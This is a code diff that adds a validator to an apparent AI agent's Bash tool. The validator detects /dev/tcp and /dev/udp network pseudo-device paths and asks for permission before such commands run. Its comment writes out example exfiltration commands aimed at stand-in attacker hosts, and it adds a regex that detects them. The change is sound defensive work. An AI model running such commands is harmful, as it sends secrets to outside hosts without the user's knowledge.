diff --git a/packages/builtin-tools/src/tools/BashTool/bashSecurity.ts b/packages/builtin-tools/src/tools/BashTool/bashSecurity.ts index e274037f1..13f949b7a 100644 --- a/packages/builtin-tools/src/tools/BashTool/bashSecurity.ts +++ b/packages/builtin-tools/src/tools/BashTool/bashSecurity.ts @@ -98,6 +98,7 @@ const BASH_SECURITY_CHECK_IDS = { BACKSLASH_ESCAPED_OPERATORS: 21, COMMENT_QUOTE_DESYNC: 22, QUOTED_NEWLINE: 23, + NETWORK_DEVICE_REDIRECT: 24, } as const type ValidationContext = { @@ -2241,6 +2242,46 @@ function validateZshDangerousCommands( } } +/** + * Detects usage of Bash's network pseudo-device paths /dev/tcp/ and /dev/udp/. + * + * SECURITY: Bash interprets /dev/tcp/host/port and /dev/udp/host/port as + * network connections when used in redirects or as arguments to commands + * like cat. This allows data exfiltration without any network tools: + * + * echo "secrets" > /dev/tcp/evil.com/4444 + * cat < /dev/tcp/evil.com/8080 + * exec 3<>/dev/udp/evil.com/53 + * cat /dev/tcp/attacker.com/8080 + * + * These paths are NOT real filesystem entries — they are intercepted by Bash + * itself. Normal path validation (validatePath) cannot catch them because + * the files don't exist on disk. + */ +const NETWORK_DEVICE_PATH_RE = + /\/dev\/(tcp|udp)\/[^/\s"'`$]+\/\d+/i + +function validateNetworkDeviceRedirect( + context: ValidationContext, +): PermissionResult { + // Check in fullyUnquotedContent to catch quoted variants like "/dev/tcp/..." + if (NETWORK_DEVICE_PATH_RE.test(context.fullyUnquotedContent)) { + logEvent('tengu_bash_security_check_triggered', { + checkId: BASH_SECURITY_CHECK_IDS.NETWORK_DEVICE_REDIRECT, + }) + return { + behavior: 'ask', + message: + 'Command uses /dev/tcp or /dev/udp network pseudo-device which can be used for network access', + } + } + + return { + behavior: 'passthrough', + message: 'No network device redirects', + } +} + // Matches non-printable control characters that have no legitimate use in shell // commands: 0x00-0x08, 0x0B-0x0C, 0x0E-0x1F, 0x7F. Excludes tab (0x09), // newline (0x0A), and carriage return (0x0D) which are handled by other @@ -2372,6 +2413,7 @@ export function bashCommandIsSafe_DEPRECATED( validateMidWordHash, validateBraceExpansion, validateZshDangerousCommands, + validateNetworkDeviceRedirect, // Run malformed token check last - other validators should catch specific patterns first // (e.g., $() substitution, backticks, etc.) since they have more precise error messages validateMalformedTokenInjection, @@ -2565,6 +2607,7 @@ export async function bashCommandIsSafeAsync_DEPRECATED( validateMidWordHash, validateBraceExpansion, validateZshDangerousCommands, + validateNetworkDeviceRedirect, validateMalformedTokenInjection, ]